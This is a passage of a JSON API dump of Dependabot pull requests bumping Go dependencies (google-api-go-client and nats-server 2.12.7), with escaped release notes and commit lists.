href=\"https://github.com/googleapis/google-api-go-client/commit/dd3f1bb7976124341e045b9f519d059a3f636ea1\"\u003edd3f1bb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3565\"\u003e#3565\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/7c11b5a39bde8b58642e8e95f067cf6b1592d46c\"\u003e7c11b5a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3566\"\u003e#3566\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/54188cf11d69c99be6b485eb6b92898c233422bd\"\u003e54188cf\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev0.275.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.274.0...v0.275.0\"\u003e0.275.0\u003c/a\u003e (2026-04-07)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3557\"\u003e#3557\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/2b2ef99cb9f245743690a4d26e4fdc65287253e0\"\u003e2b2ef99\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3560\"\u003e#3560\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/9437d4d741a6ae9e1c20a6f727b9c8f64e1bc19e\"\u003e9437d4d\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev0.274.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.273.1...v0.274.0\"\u003e0.274.0\u003c/a\u003e (2026-04-02)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3555\"\u003e#3555\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/0e634ae13e626c6082c534eda8c03d5d3e673605\"\u003e0e634ae\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev0.273.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.273.0...v0.273.1\"\u003e0.273.1\u003c/a\u003e (2026-03-31)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMerge duplicate x-goog-request-params header (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3547\"\u003e#3547\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/2008108eb50215407a945afc2db9c45998c42bbe\"\u003e2008108\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev0.273.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.272.0...v0.273.0\"\u003e0.273.0\u003c/a\u003e (2026-03-23)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3542\"\u003e#3542\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/a4b47110f2ba5bf8bdb32174f26f609615e0e8dc\"\u003ea4b4711\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3546\"\u003e#3546\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/0cacfa8557f0f7d21166c4dfef84f60c6d9f1a49\"\u003e0cacfa8\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev0.272.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.271.0...v0.272.0\"\u003e0.272.0\u003c/a\u003e (2026-03-16)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/googleapis/google-api-go-client/blob/main/CHANGES.md\"\u003egoogle.golang.org/api's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.275.0...v0.276.0\"\u003e0.276.0\u003c/a\u003e (2026-04-14)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3561\"\u003e#3561\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/dd3f1bb7976124341e045b9f519d059a3f636ea1\"\u003edd3f1bb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3565\"\u003e#3565\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/7c11b5a39bde8b58642e8e95f067cf6b1592d46c\"\u003e7c11b5a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3566\"\u003e#3566\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/54188cf11d69c99be6b485eb6b92898c233422bd\"\u003e54188cf\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/googleapis/google-api-go-client/compare/v0.274.0...v0.275.0\"\u003e0.275.0\u003c/a\u003e (2026-04-07)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3557\"\u003e#3557\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client/commit/2b2ef99cb9f245743690a4d26e4fdc65287253e0\"\u003e2b2ef99\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eall:\u003c/strong\u003e Auto-regenerate discovery clients (\u003ca href=\"https://redirect.github.com/googleapis/google-api-go-client/issues/3560\"\u003e#3560\u003c/a\u003e) (\u003ca href=\"https://github.com/googleapis/google-api-go-client...\n\n_Description has been truncated_","html_url":"https://github.com/mezalabs/meza/pull/190","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mezalabs%2Fmeza/issues/190","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/190/packages"},{"uuid":"4288363926","node_id":"PR_kwDORK0t587TmWBg","number":15,"state":"open","title":"deps: bump github.com/nats-io/nats-server/v2 from 2.12.4 to 2.12.7","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-18T15:02:42.000Z","updated_at":"2026-04-18T15:02:42.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.4","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.4 to 2.12.7.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.4...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.4\u0026new-version=2.12.7)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/akafred/needy-protoype/pull/15","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/akafred%2Fneedy-protoype/issues/15","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/15/packages"},{"uuid":"4274086378","node_id":"PR_kwDOR-0pzM7S5C-2","number":3,"state":"closed","title":"sec(deps): bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.12.7 in /transport/nats","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":"2026-04-16T20:23:08.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-16T07:57:15.000Z","updated_at":"2026-04-16T20:23:10.000Z","time_to_close":44753,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"sec(deps)","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"}],"path":"/transport/nats","ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.12.7.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e","html_url":"https://github.com/foomo/goflux/pull/3","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/foomo%2Fgoflux/issues/3","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3/packages"},{"uuid":"4274085764","node_id":"PR_kwDOR-0pzM7S5C2I","number":2,"state":"closed","title":"sec(deps): bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.12.7 in /transport/jetstream","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":"2026-04-16T20:23:21.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-16T07:57:09.000Z","updated_at":"2026-04-16T20:23:23.000Z","time_to_close":44772,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"sec(deps)","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"}],"path":"/transport/jetstream","ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.12.7.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca 